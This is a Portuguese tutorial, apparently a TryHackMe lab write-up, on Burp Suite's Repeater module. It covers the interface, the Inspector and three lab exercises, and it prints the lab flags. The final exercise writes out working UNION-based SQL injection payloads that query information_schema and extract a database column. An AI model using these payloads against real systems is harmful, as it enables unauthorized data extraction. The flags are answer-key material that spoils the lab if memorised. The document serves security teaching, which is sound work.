Este guia explora o módulo Repeater do Burp Suite, uma ferramenta essencial para manipular e reenviar requisições HTTP em testes de segurança.
Introdução ao Burp Suite Repeater
O Repeater é um componente poderoso do Burp Suite que permite aos testadores de segurança capturar requisições HTTP/S interceptadas pelo Burp Proxy, modificá-las e reenviá-las ao servidor alvo múltiplas vezes. Essa capacidade é fundamental para identificar vulnerabilidades explorando variações de requisições e observando as respostas do servidor. Além de modificar requisições capturadas, o Repeater também permite a criação manual de novas requisições.
Interface do Repeater
A interface do Repeater é dividida em seis seções prinicpais:
- Lista de Requisições: No canto superior esquerdo, exibe todas as requisições enviadas para o Repeater.
- Controles de Requisição: Abaixo da lista, botões para enviar a requisição, cancelar uma em andamento e navegar pelo histórico de requisições.
- Visualização de Requisição e Resposta: A maior parte do painel esquerdo. A visualização de requisição permite a edição, enquanto a visualização de resposta exibe o resultado do servidor.
- Opções de Layout: No canto superior direito das visualizações de requisição/resposta, permite alternar entre layouts horizontal, vertical ou combinado.
- Inspetor (Inspector): Na lateral direita, detalha e facilita a edição dos componentes da requisição e resposta.
- Destino (Target): Acima do Inspetor, mostra o IP ou domínio do alvo, preenchido automaticamente ao enviar requisições de outras partes do Burp Suite.
Utilização Básica do Repeater
A forma mais comum de usar o Repeater é capturando uma requisição com o Burp Proxy e, em seguida, enviando-a para o Repeater. Isso pode ser feito clicando com o botão direito na requisição e selecionando "Send to Repeater" ou usando o atalho Ctrl + R.
Uma vez no Repeater, a requisição aparece na visualização de requisição. Clicar no botão "Send" envia a requisição ao servidor e a resposta é exibida na visualização de resposta. Modificações podem ser feitas diretamente na visualização de requisição e reenviadas clicando em "Send" novamente.
Exemplo de modificação de cabeçalho:
GET / HTTP/1.1
Host: exemplo.com
User-Agent: Mozilla/5.0 ...
Connection: close
FlagAuthorised: True
Alterar o valor de Connection de close para keep-alive pode ilustrar a capacidade de manipulação.
Opções de Visualização de Mensagens
O Repeater oferece diferentes formatos para visualizar as respostas (e requisições):
- Pretty: Formato padrão, otimizado para legibilidade.
- Raw: Exibe a resposta bruta, exatamente como recebida do servidor.
- Hex: Apresenta a resposta em formato de bytes, útil para dados binários.
- Render: Tenta renderizar a resposta como uma página web, similar à visualização em um navegador.
O botão \n permite visualizar caracteres não imprimíveis, como \r\n (CRLF), que são importantes na interpretação de cabeçalhos HTTP.
O Inspetor (Inspector)
O Inspetor é uma ferramenta complementar que decompõe requisições e respostas em componentes editáveis. Ele está presente tanto no Proxy quanto no Repeater.
Principais seções editáveis no Inspetor:
- Request Attributes: Permite modificar o caminho (Path), método (Method) e protocolo (Protocol) da requisição.
- Request Query Parameters: Parâmetros enviados na URL (ex:
?chave=valor). - Request Body Parameters: Parâmetros enviados no corpo de requisições POST.
- Request Cookies: Cookies associados à requisição.
- Request Headers: Cabeçalhos da requisição, permitindo adicionar, editar ou remover.
A seção Response Headers exibe os cabeçalhos da resposta do servidor, mas não é editável.
O formato tabular do Inspetor facilita a visualização e manipulação desses componentes.
Exemplo Prático: Adicionando um Cabeçalho
Capturar uma requisição para o host alvo e enviá-la ao Repeater. Usando o Inspetor, adicionar um novo cabeçalho chamado FlagAuthorised com o valor True. Reenviar a requisição e observar a resposta para encontrar a flag.
GET / HTTP/1.1
Host: 10.10.7.11
User-Agent: Mozilla/5.0 ...
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
Após reenviar, a flag pode ser encontrada na resposta: THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}.
Desafio: Testando Limites de Endpoints
Navegar para /products/ e clicar em "See More" redireciona para um endpoint numérico (ex: /products/3). Testar valores inesperados para este endpoint pode revelar vulnerabilidades.
Capturar a requisição para um produto válido e enviá-la ao Repeater. Modificar o ID para um valor inválido, como -1.
GET /products/-1 HTTP/1.1
Host: 10.10.107.186
...
Reenviar a requisição. Se o servidor não validar corretamente o input, a flag pode ser exposta: THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}.
Exercício Abrangente: Testando SQL Injection
O endpoint /about/ID possui uma vulnerabilidade de SQL Injection. O objetivo é usar o Repeater para explorar essa falha e extrair um comentário sobre o CEO do banco de dados.
Capturar uma requisição para /about/2 e enviá-la ao Repeater.
Adicionar um apóstrofo (') ao final do ID (ex: /about/2') e reenviar. Um erro 500 Internal Server Error, possivelmente com detalhes da query SQL, indica a vulnerabilidade.
GET /about/2' HTTP/1.1
Host: 10.10.107.186
...
Analisando a resposta de erro, identificamos que a consulta envolve a tabela people e colunas como firstName, lastName, etc. Para listar todas as colunas da tabela people, usamos uma query UNION com information\_schema.columns:
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"
Para obter todas as colunas em uma única resposta, usamos group\_concat():
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"
As colunas identificadas incluem notes. Para extrair o flag, construímos a payload final para selecionar a coluna notes do registro do CEO (ID 1):
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1
A flag extraída é: THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}.